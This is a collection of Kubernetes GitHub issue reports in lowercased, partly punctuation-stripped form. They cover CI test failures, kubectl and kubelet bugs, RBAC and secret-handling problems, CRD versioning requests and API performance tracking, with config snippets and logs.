16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r $ uname -a\r linux pkara-pc01 4.10.0-42-generic  46~16.04.1-ubuntu smp mon dec 4 15:57:59 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r    \r $ kops version\r version 1.7.1  git-c69b811 \r    \r - others:\r \r  

started flaking yesterday: https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=advanced%20audit\r \r seems to coincide with https://github.com/kubernetes/kubernetes/pull/60237\r \r /assign @tallclair @crassirostris \r \r need to triage this asap to know if we need to roll back that pr

this a bug report  \r /kind-bug\r \r   what happened  :\r kubctl v0.11.0 is not responding to get pods command, on mac osx darwin  17.5.0 darwin kernel version 17.5.0: mon mar  5 22:24:32 pst 2018; root:xnu-4570.51.1~1/release_x86_64 x86_64\r \r   what you expected to happen  :\r get a list of running pods\r \r   how to reproduce it  as minimally and precisely as possible   :\r install v1.11.0 run kubectl get pods --kubeconfig and the output will be:\r no resources found \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t22:29:25z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r darwin  17.5.0 darwin kernel version 17.5.0: mon mar  5 22:24:32 pst 2018; root:xnu-4570.51.1~1/release_x86_64 x86_64\r - kernel  e.g.  uname -a  :\r darwin  17.5.0 darwin kernel version 17.5.0: mon mar  5 22:24:32 pst 2018; root:xnu-4570.51.1~1/release_x86_64 x86_64\r - install tools:\r - others:\r

failing jobs\r  sig-release-1.12-blocking gce-cos-1.12-serial  https://k8s-testgrid.appspot.com/sig-release-1.12-blocking gce-cos-1.12-serial \r   failing tests\r  ci-kubernetes-e2e-gce-cos-k8sbeta-serial  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cos-k8sbeta-serial/1158 \r   triage results\r   sig-autoscaling   hpa  horizontal pod autoscaling  scale resource: cpu   sig-autoscaling   serial   slow  replicationcontroller should scale from 1 pod to 3 pods and from 3 to 5 and verify decision stability  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gce-cos-k8sbeta-serial&test=replicationcontroller%20should%20scale%20from%201%20pod%20to%203%20pods%20and%20from%203%20to%205%20and%20verify%20decision%20stability \r \r   / /cc @tpepper @aishsundar @kubernetes/sig-autoscaling-test-failures

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r https://k8s-testgrid.appspot.com/sig-cli-master aws\r \r   which test s  are failing  :\r up\r \r   since when has it been failing  :\r 02/02/19 09:07\r \r   testgrid link  :\r https://k8s-testgrid.appspot.com/sig-cli-master aws\r \r   reason for failure  :\r invalid aws credentials\r \r   anything else we need to know  :\r 

hi all, \r is there any way to catch podexceedsfreecpu or podexceedsfreememory events in java client api code?\r on the other hand, make java client code aware of these failed events.\r \r thanks in advance!\r

kubernetes can be install on the centos6.x or no public network of local environment？

the gce pd volume  and several others  have a  readonly  flag alongside all of the fields that identify a pd.  this works fine in plain old \ mount a volume\  mode - the user specifies in their pod just what they want  a specific pd  and how they want it  read-only vs read-write .  the problem arises with persistentvolumes - they also hold the same volumesource struct with the pd name and the readonly flag.  this is wrong because the readonly flag is not an attribute of the pers.vol., it is an attribute of the claim  which indeed has a readonly flag .  10424 plumbs that down, but i find it to be a bit clumsy still.  this is an area the api can get better.  maybe something like moving readonly out of each volume and into the  volume  struct  making it  {name, readonly, volumesource}    @markturansky

having access to the service-cluster-ip-range cidr would allow us to track connections more efficiently in  weave scope  https://www.weave.works/products/weave-scope/ . see https://github.com/weaveworks/scope/pull/1490  afaict it's only stored in etcd and not exposed. see https://github.com/kubernetes/kubernetes/blob/ef885d05eb6769c741faed2157f0c3d2a27a5809/pkg/master/master.go l430-l437

this is a roundup issue for kubernetes 1.4 and a tracker to orient folks on the ongoing work.  it is focused on all components that touch the api, but not necessarily the total system.  it also serves to identify areas where folks can get involved.  track issues using  labels performance and csi-api-machinery  https://github.com/kubernetes/kubernetes/issues?utf8=✓&q=label%3aarea%2fperformance+label%3a%22team%2fcsi-api+machinery+sig%22+      ongoing efforts  major focus: we want to get to our target cluster size metrics  5k nodes and 300k pods  in 1.4 or 1.5, and we are within an order of magnitude of that with 1.3 in many dimensions.  areas of attack: we are mostly cpu bound on the controllers and api servers today, and most of that is overhead due to garbage collection.  we also have had a fair number of contention areas that were algorithmic or lock related in the core components.  we've got a good feedback loop for identifying critical bottlenecks, but we could probably stand to get more profiles and metrics gathered from the high scale systems. - reduce the cpu and garbage created by clients and the api server when handling api requests   - introduce protobuf     -  complete  8132  used for most api objects when talking between client and server     -  inprogress for 1.5  use protobuf for storage format     - handle mixed content type storage  objects that embed other objects like templates or third party resources      -  inprogress  27258  handle optional slices and maps correctly in protobuf     -  inprogress  https://github.com/gogo/protobuf/issues/174  investigate use of string arena unmarshalling in protobuf to avoid   byte -> string allocations in decode   - optimize the conversion, defaulting, and decoding code paths     -  complete  https://github.com/kubernetes/kubernetes/issues/25019  implement more efficient quantity, using int64 and better serialization     -  complete  24966  remove the use of reflection in conversion and defaulting       - auto generate fast path conversion functions  addgenericconversionfunc  for each api type     -  complete  24727  make conversions of identical types  builtins, maps, slices, pointers  an assignment, not a copy     -  inprogress  27659  further optimization of identical type conversion using unsafe.pointer     -  inprogress  33352  split defaulting from conversion into its own function, possibly by generating an entire \ default_pod\  function from component parts, which allows us to avoid having to walk deep objects   - use the versioned client where possible to avoid conversion altogether. https://github.com/kubernetes/kubernetes/issues/29934     -  inprogress  ???  versioned client in controllers depends on the shared cache work  all controllers sharing a cache have to use the same object type . it's also blocked by the  cutting a client library work  https://github.com/kubernetes/kubernetes/pull/29147 .   - ensure that the update and create code paths are efficient  guaranteed update loop generates a lot of objects    - selflink and url.string   are fairly expensive in the encode/decode path   - for any json gaps  non-proto clients  we could look at easyjson, which appears to do more than ugorgji to reduce memory allocation during decode. - reduce the amount of duplicate objects being used by controller and admission caches and the amount of total memory used by caches   -  complete  separate re-listing and re-syncing  former talks to api server, latter traverses cache  to reduce the amount of duplicate calls to the server and wasted conversion   -  complete  https://github.com/kubernetes/kubernetes/issues/14978  add a sharedinformer and use it for pod caches  all 8 of them    -  inprogress  use shared namespace caches in admission controllers   - investigate and identify other opportunities for shared caches   -  inprogress  investigate size of objects kept in shared and unshared caches for duplication and waste     - pods tend to have larger objects https://github.com/coreos/kscale/pull/37/files diff-a423e914cbd27c95d2c0b950e2e4ee5br14 than necessary - maps and quantity too large     - investigate using slices instead of maps for our many small maps, or having an  arraymap  equivalent to java   31440  https://github.com/kubernetes/kubernetes/issues/31440      - investigate flyweight cache patterns for certain controllers - identify unnecessary blocking / stalls in clients, watches, caches, and controllers   -  complete  several fixes to 1.3 scheduler and caches   -  complete  avoid flushing aggressively in watches to reduces syscalls   -  inprogress  @deads2k  shared caches currently have coarse locks, investigate striping and reducing the duration of the locks   - investigate whether we have any slow cache reader problems with our shared caches   - audit the watch cache for locking issues   - better tooling and documentation to allow people to perform this sort of debugging   - ??? - profile and optimize specific components and workloads    - collect profile traces from kubemark and high scale clusters automatically   -  scheduler  https://github.com/kubernetes/kubernetes/issues/18418   lots of eyes on this, but also lots of algorithmic improvements possible    - kubelet   -  inprogress  replication controller   - node controller  known issues with timer, other garbage creation    - quota      -  inprogress  significant improvements including contention striping and batch assignment     - optimize and audit use of resource.quantity in these codepaths   - authentication / authorization / rbac  has been a significant source of perf bottlenecks in openshift in the more complex scenarios    - ??? - reduce traffic between components   - investigation colocation of certain processes if necessary     - openshift offers all-in-one processes that bundle etcd, controller, apiserver, as does a few others, and there is some value in compact deployments having an efficient master  downsides are increased memory use and contention      -  inprogress  https://github.com/openshift/origin/pull/8082  investigate loopback connections when in the same process  at the net.chan level      -  mentioned by justinsb  directly embed etcd and make calls to the go api   - reduce network bandwidth by sending less objects  not yet a blocker in any particular area

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gce-reboot-release-1.4/415/  failed:  k8s.io  reboot  disruptive   feature:reboot  each node by ordering clean reboot and ensure they function upon restart {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:92 oct  1 00:28:06.124: test failed; at least one node failed to reboot in the time given. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:158

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : secrets, envfrom\r \r this is related to  26299\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-beta.2\ , gitcommit:\ 0776eab45fe28f02bbeac0f05ae1a203051a21eb\ , gittreestate:\ clean\ , builddate:\ 2016-11-24t22:35:03z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release : container-optimized os v1.6.4\r \r   what happened  :\r \r kubernetes seemingly ignored the envfrom entry that introduced the secret.\r \r   what you expected to happen  :\r \r the environment would be auto-populated with keys and values from the secret, as defined in the kubernetes api reference document  https://kubernetes.io/docs/api-reference/v1.6/ podpresetspec-v1alpha1-settings .\r \r   how to reproduce it    as minimally and precisely as possible :\r \r    yaml\r apiversion: v1\r kind: secret\r metadata:\r   name: my-app-secret\r   labels:\r     app: my-app\r type: opaque\r data:\r   my_secret: \ c3vwzxjfc2vjcmv0\ \r ---\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: my-app\r   labels:\r     app: my-app\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: my-app\r   template:\r     metadata:\r       name: my-app\r       labels:\r         app: my-app\r     spec:\r       containers:\r        - name: my-app\r          image: \ alpine:latest\ \r          imagepullpolicy: always\r          command:  \ /bin/sh\ , \ -c\  \r          args:  \ echo \\\ my_secret=$my_secret\\\ ; while   1  ; do sleep 2; done\ ,  \r          envfrom:\r           - secretref:\r               name: my-app-secret\r                  to ensure that it wasn't just ignoring keys, i added:\r                 optional: false\r                  it still didn't work or fail fast.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   \r \r   what happened  :\r    \r  root@fedora-1gb-blr1-01 ~   cat /etc/kubernetes/apiserver\r    \r   kubernetes system config\r  \r   the following values are used to configure the kube-apiserver\r  \r \r   the address on the local server to listen to.\r kube_api_address=\ --insecure-bind-address=127.0.0.1\ \r \r   the port on the local server to listen on.\r   kube_api_port=\ --port=8080\ \r \r   port minions listen on\r   kubelet_port=\ --kubelet-port=10250\ \r \r   comma separated list of nodes in the etcd cluster\r kube_etcd_servers=\ --etcd-servers=http://127.0.0.1:2379,http://127.0.0.1:4001\ \r \r   address range to use for services\r kube_service_addresses=\ --service-cluster-ip-range=10.254.0.0/16\ \r \r   default admission control policies\r kube_admission_control=\ --admission-control=namespacelifecycle,limitranger,securitycontextdeny,serviceaccount,resourcequota\ \r \r   add your own!\r kube_api_args=\ --secure-port=0 --service-account-key-file=/etc/kubernetes/service_account.key\ \r \r  root@fedora-1gb-blr1-01 ~   service kube-apiserver restart\r redirecting to /bin/systemctl restart kube-apiserver.service\r job for kube-apiserver.service failed because the control process exited with error code.\r see \ systemctl  status kube-apiserver.service\  and \ journalctl  -xe\  for details.\r    \r   what you expected to happen  :\r goal is to start kube-apiserver with service account api token\r   how to reproduce it  as minimally and precisely as possible   :\r mentioned above\r \r   anything else we need to know?  :\r kubernetes version is 1.6\r os is fedora 26\r \r linux fedora-1gb-blr1-01.localdomain 4.11.8-300.fc26.x86_64  1 smp thu jun 29 20:09:48 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

updated issue description with latest findings:\r \r  50350 introduced a change to kubelet pod deletion that results in  delete pod  api calls from kubelets being concentrated immediately after container garbage collection.\r \r when performing a deletion of large numbers  thousands  of pods across large numbers  hundreds  of nodes, the resulting concentrated delete calls from the kubelets cause increased latency of  delete pods  api calls above the target threshold:\r    \r sep 27 14:34:14.484: info: warning top latency metric: {resource:pods subresource: verb:delete latency:{perc50:4.551ms perc90:10.216ms perc99:1.403002s perc100:0s} count:122966}\r    \r \r seen on https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/\r \r not seen on https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/logs/ci-kubernetes-kubemark-gce-scale/\r \r hoisted details from https://github.com/kubernetes/kubernetes/issues/51899 issuecomment-332868313 into description:\r graphs over a three minute window  both latency in ms and distribution of delete calls per second :\r \r the delete calls from the gc controller merely set deletiontimestamp on the pod  which the kubelets observe and start shutting down the pods . the delete calls from the kubelet actually delete from etcd.\r \r ! screen shot 2017-09-28 at 11 47 18 am  https://user-images.githubusercontent.com/980082/30976458-d3f6ab28-a442-11e7-96d3-79511f8a6455.png \r \r ! screen shot 2017-09-28 at 12 05 18 pm  https://user-images.githubusercontent.com/980082/30977371-58d87824-a445-11e7-9dac-a78063701a82.png \r \r there were multiple spikes throughout the run  corresponding to deletions of 3000-pod replication controllers . here's a graph of delete calls that took more than one second throughout the whole run:\r ! screen shot 2017-09-28 at 11 24 22 am  https://user-images.githubusercontent.com/980082/30975188-a1bbd8fc-a43f-11e7-9922-484eef42be97.png \r \r seems like a kubelet-induced thundering herd, when deleting massive numbers of pods across massive numbers of nodes. kubemark's gc is stubbed since there are no real containers, so this isn't observed there\r \r \r original issue description follows:\r \r from 5k-node density test run  no. 26  on last friday:\r \r    \r i0901 10:11:29.395  sep  1 10:11:29.395: info: warning top latency metric: {resource:pods subresource: verb:list latency:{perc50:66.805ms perc90:375.804ms perc99:8.111217s perc100:0s} count:11911}\r i0901 10:11:29.396  sep  1 10:11:29.395: info: top latency metric: {resource:nodes subresource: verb:list latency:{perc50:417.103ms perc90:1.090847s perc99:2.336106s perc100:0s} count:1261}\r i0901 10:11:29.396  sep  1 10:11:29.395: info: warning top latency metric: {resource:nodes subresource:status verb:patch latency:{perc50:5.633ms perc90:279.15ms perc99:1.04109s perc100:0s} count:5543730}\r i0901 10:11:29.396  sep  1 10:11:29.395: info: top latency metric: {resource:pods subresource:binding verb:post latency:{perc50:1.442ms perc90:15.171ms perc99:921.523ms perc100:0s} count:155096}\r i0901 10:11:29.396  sep  1 10:11:29.395: info: top latency metric: {resource:replicationcontrollers subresource: verb:post latency:{perc50:3.13ms perc90:218.472ms perc99:886.065ms perc100:0s} count:5049}\r    \r \r and from the last healthy run  no. 23  of the test:\r \r    \r i0826 03:49:44.301  aug 26 03:49:44.301: info: top latency metric: {resource:pods subresource: verb:list latency:{perc50:830.411ms perc90:1.468316s perc99:2.627309s perc100:0s} count:10615}\r i0826 03:49:44.302  aug 26 03:49:44.301: info: top latency metric: {resource:nodes subresource: verb:list latency:{perc50:337.423ms perc90:427.443ms perc99:998.426ms perc100:0s} count:1800}\r i0826 03:49:44.302  aug 26 03:49:44.301: info: top latency metric: {resource:apiservices subresource: verb:put latency:{perc50:954âµs perc90:5.726ms perc99:138.528ms perc100:0s} count:840}\r i0826 03:49:44.302  aug 26 03:49:44.301: info: top latency metric: {resource:namespaces subresource: verb:get latency:{perc50:445âµs perc90:2.641ms perc99:83.57ms perc100:0s} count:1608}\r i0826 03:49:44.302  aug 26 03:49:44.301: info: top latency metric: {resource:nodes subresource:status verb:patch latency:{perc50:3.22ms perc90:9.449ms perc99:55.588ms perc100:0s} count:7033941}\r    \r \r this is a huge increase we're seeing:\r list pods : 2.6s -> 8.1s\r list nodes: 1s -> 2.3s\r patch node-status: 56ms -> 1s\r ...\r \r cc @kubernetes/sig-api-machinery-bugs @kubernetes/sig-scalability-misc @smarterclayton @wojtek-t @gmarek \r

currently, the kubelet reports its configuration status in a nodecondition with type kubeletconfigok. this has limited use, because most of the node condition is not machine readable. a machine can tell if the config is ok, but can't easily aggregate details of the nodeconfigsource in use  especially if the node has rolled back to its last-known-good config .\r \r we should consider adding a structured field to node.status instead, to facilitate machine consumption of the configuration status:\r    \r type nodestatus struct {\r     ...\r     config nodeconfigstatus\r     ...\r }\r \r type nodeconfigstatus struct {\r     status conditionstatus // one of true, false, or unknown, machine-readable, as it is in a nodecondition\r     // reports the config the kubelet runtime chose to use\r     activesource  nodeconfigsource // now machine-readable, since it's a structured, versioned api type\r     // ack from the kubelet that it has seen the currently set node.spec.configsource\r     assignedsource  nodeconfigsource // now machine-readable, since it's a structured, versioned api type\r     // kubelet's chosen last-known-good source\r     lastknowngoodsource  nodeconfigsource // now machine-readable, since it's a structured, versioned api type\r     // human-readable error string describing any problems with the configuration\r     error string \r     // human-readable string providing additional information about the configuration status\r     message string \r }\r    \r \r \r /cc @liggitt @mikedanese @dchen1107

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r i defined a crd whose apiversion is v1alpha1.  now things went well, i want to change apiversion to v1.  but crd.spec.version is immutable, and i could not change it.  crd requires its name must match plural, and group, i could not add another crd with the different version.\r backup custom objects, and delete current crd, and create new crd, then importing custom objects will work, but i want easier migration.\r \r   what you expected to happen  :\r \r crd can have multiple versions.\r a way to migrate between versions  just like we can get deployment from both apps/v1beta1 and apps/v1beta2  is highly desirable.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

hi,\r i am trying to mount a persistent volume in a statefulset with some custom options.  this does not appear to be working.\r \r kubernetes 1.8.5 on gke.\r  \r i have the following statefulset:\r    \r ...\r   volumeclaimtemplates:\r   - metadata:\r       name: ssd0\r       annotations:\r         volume.beta.kubernetes.io/mount-options: \ discard\ \r     spec:\r       storageclassname: elastic-ssd\r       accessmodes:   \ readwriteonce\   \r       resources:\r         requests:\r           storage: 150gi\r    \r \r which creates the following pvc, with my annotations:\r    \r ❯ k describe pvc ssd0-karl-0\r name:          ssd0-karl-0\r namespace:     default\r storageclass:  elastic-ssd\r status:        bound\r volume:        pvc-e2d5a0af-f86e-11e7-8a0c-42010a9a017c\r labels:        app=karl\r annotations:   pv.kubernetes.io/bind-completed=yes\r                pv.kubernetes.io/bound-by-controller=yes\r                volume.beta.kubernetes.io/mount-options=discard\r                volume.beta.kubernetes.io/storage-provisioner=kubernetes.io/gce-pd\r capacity:      150gi\r access modes:  rwo\r    \r \r which creates the following pv  without the volume.beta.kubernetes.io/mount-options :\r    \r ❯ k describe pv pvc-fb742a60-f86f-11e7-8a0c-42010a9a017c\r name:            pvc-fb742a60-f86f-11e7-8a0c-42010a9a017c\r labels:          failure-domain.beta.kubernetes.io/region=europe-west2\r                  failure-domain.beta.kubernetes.io/zone=europe-west2-a\r annotations:     kubernetes.io/createdby=gce-pd-dynamic-provisioner\r                  pv.kubernetes.io/bound-by-controller=yes\r                  pv.kubernetes.io/provisioned-by=kubernetes.io/gce-pd\r storageclass:    elastic-ssd\r status:          bound\r claim:           default/ssd0-karl-0\r reclaim policy:  delete\r access modes:    rwo\r capacity:        150gi\r message:\r source:\r     type:       gcepersistentdisk  a persistent disk resource in google compute engine \r     pdname:     gke-elastic-dev-429310-pvc-fb742a60-f86f-11e7-8a0c-42010a9a017c\r     fstype:     ext4\r     partition:  0\r     readonly:   false\r events:         <none>\r    \r \r which in turn does not mount my disk with the options i expected:\r    \r ❯ k exec -it karl-0 /bin/sh\r /   mount\r /dev/sdb on /data/ssd0 type ext4  rw,relatime,data=ordered \r

seeing lots of \ already exists\  failures trying to register mutatingwebhookconfigurations or customresourcedefinitions as part of webhook e2e tests\r \r according to https://storage.googleapis.com/k8s-gubernator/triage/index.html?pr=1&text=already%20exists&test=admissionwebhook this has been consistently happening for a while\r \r just a sampling from today:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/20883/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/20885/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/20899/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/20900/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/20907/\r \r /assign @caesarxuchao @cheftako

is this a bug report or feature request?  :\r    what happened  :\r i'm running calico-controllers-node and the docker are not allowed to access the api\r \r > feb  8 10:08:45 ip-192-168-208-13 kube-apiserver 4455 : i0208 10:08:45.133516    4455 rbac.go:116  rbac deny: user \ system:serviceaccount:kube-system:default\  groups  \ system:serviceaccounts\  \ system:serviceaccounts:kube-system\  \ system:authenticated\   cannot \ list\  resource \ networkpolicies.extensions\  cluster-wide\r \r log from docker calico-kube-controllers\r > e0208 10:50:56.487360       1 reflector.go:205  github.com/projectcalico/kube-controllers/pkg/controllers/networkpolicy/policy_controller.go:147: failed to list  v1beta1.networkpolicy: networkpolicies.extensions is forbidden: user \ system:serviceaccount:kube-system:default\  cannot list networkpolicies.extensions at the cluster scope\r \r this is the role and rolebinding\r    \r kind: clusterrole\r apiversion: rbac.authorization.k8s.io/v1beta1\r metadata:\r   name: calico-kube-controllers\r rules:\r   - apigroups:\r     - \ \ \r     - extensions\r     resources:\r       - pods\r       - namespaces\r       - networkpolicies\r       - nodes\r     verbs:\r       - watch\r       - list\r ---\r kind: clusterrolebinding\r apiversion: rbac.authorization.k8s.io/v1beta1\r metadata:\r   name: calico-kube-controllers\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: clusterrole\r   name: calico-kube-controllers\r subjects:\r - kind: serviceaccount\r   name: calico-kube-controllers\r   namespace: kube-system\r    \r \r configured clusterrole\r    \r host:~$ kubectl describe clusterrole calico-kube-controllers\r name:         calico-kube-controllers\r labels:       <none>\r annotations:  <none>\r policyrule:\r   resources                   non-resource urls  resource names  verbs\r   ---------                   -----------------  --------------  -----\r   namespaces                                                      watch list \r   namespaces.extensions                                           watch list \r   networkpolicies                                                 watch list \r   networkpolicies.extensions                                      watch list \r   nodes                                                           watch list \r   nodes.extensions                                                watch list \r   pods                                                            watch list \r   pods.extensions                                                 watch list \r host:~$\r    \r \r configured clusterrolebindings\r    \r host:~$ kubectl describe clusterrolebindings calico-kube-controllers\r name:         calico-kube-controllers\r labels:       <none>\r annotations:  <none>\r role:\r   kind:  clusterrole\r   name:  calico-kube-controllers\r subjects:\r   kind            name                     namespace\r   ----            ----                     ---------\r   serviceaccount  calico-kube-controllers  kube-system\r host:~$\r    \r \r pod running in correct namespace\r    \r host:~$ kubectl get pods -n kube-system\r name                                       ready     status    restarts   age\r calico-kube-controllers-6bd48cc598-df59l   1/1       running   0          1h\r kube-dns-6c857864fb-tg2h8                  3/3       running   0          19h\r host:~$\r    \r \r \r \r \r   what you expected to happen  :\r \r i expect this request to pass rbac \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t09:42:01z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r aws\r \r - os  e.g. from /etc/os-release :\r ubuntu 16.04.3 lts\r \r - kernel  e.g.  uname -a  :\r linux ip-192-168-192-10 4.4.0-1049-aws  58-ubuntu smp fri jan 12 23:17:09 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r manual\r \r - others:

>  \r   what happened  :\r  /var/lib/kubelet  is a subdirectory of the btrfs subvolume  /var . kubelet fails to start with the following error:\r \r    \r failed to start containermanager failed to get rootfs info: failed to get device for dir \ /var/lib/kubelet\ : could not find device with major: 0, minor: 46 in cached partitions map\r    \r \r   what you expected to happen  :\r kubelet starts normally and doesn't fail with an error message\r \r   how to reproduce it  as minimally and precisely as possible   :\r   install a system using btrfs as file system for /\r   create a sub-volume for /var\r   start kubelet  even in disconnected mode \r \r   anything else we need to know?  :\r this is a follow-up issue of  47046 and has been promoted to fatal from  v1.10  onward, before it was a warning\r \r pr to fix the issue is https://github.com/google/cadvisor/pull/1971\r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.10  forward\r - cloud provider or hardware configuration: both bare metal and virtual\r - os  e.g. from /etc/os-release : suse 12+ or opensuse  tumbleweed/leap \r - kernel  e.g.  uname -a  :  4.17.1-1 \r - install tools: suse/opensuse rpm\r - others:\r

  \r   what happened  :\r kubectl 1.11.0 defaults  --use-openapi-print-columns  to  false  which is very impractical when working with aggregated api servers. it was defaulted to  true  with prior versions  <= 1.10.5 :\r \r    bash\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-22t05:40:33z\ , goversion:\ go1.9.7\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r \r $ kubectl get -h\r  .. \r       --use-openapi-print-columns=true: if true, use x-kubernetes-print-column metadata  if present  from the openapi\r schema for displaying a resource\r  .. \r    \r \r and\r \r    bash\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t22:29:25z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r \r $ kubectl get -h\r  .. \r       --use-openapi-print-columns=false: if true, use x-kubernetes-print-column metadata  if present  from the openapi\r schema for displaying a resource.\r  .. \r    \r \r   what you expected to happen  :\r the flag defaults to  true  so that you do not need to specify it for each and every  kubectl get  request to resources managed by an aggregated api server.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    bash\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t22:29:25z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r    \r - kernel  e.g.  uname -a  : macos\r - install tools: brew\r

 \r   what happened  :\r hang on \ kubectl delete\  command on my deployer machine, but can run other commands as usual\r ! image  https://user-images.githubusercontent.com/7221798/42620783-8b810d32-85ee-11e8-862b-af4ed0c8a856.png \r can run \ kubectl delete\  command on master node, deployer and master have the same ~/.kube directory.\r \r   what you expected to happen  :\r delete some resource\r \r   how to reproduce it  as minimally and precisely as possible   :\r i don't know\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r ! image  https://user-images.githubusercontent.com/7221798/42620984-14ed508a-85ef-11e8-9193-3957c382f7c5.png \r - cloud provider or hardware configuration:\r azure, i am not using cloud provider\r - os  e.g. from /etc/os-release :\r centos 7.5\r - kernel  e.g.  uname -a  :\r linux cn2-k8s-deployer 3.10.0-862.3.3.el7.x86_64  1 smp fri jun 15 04:15:27 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r installed by kubespray\r - others:\r

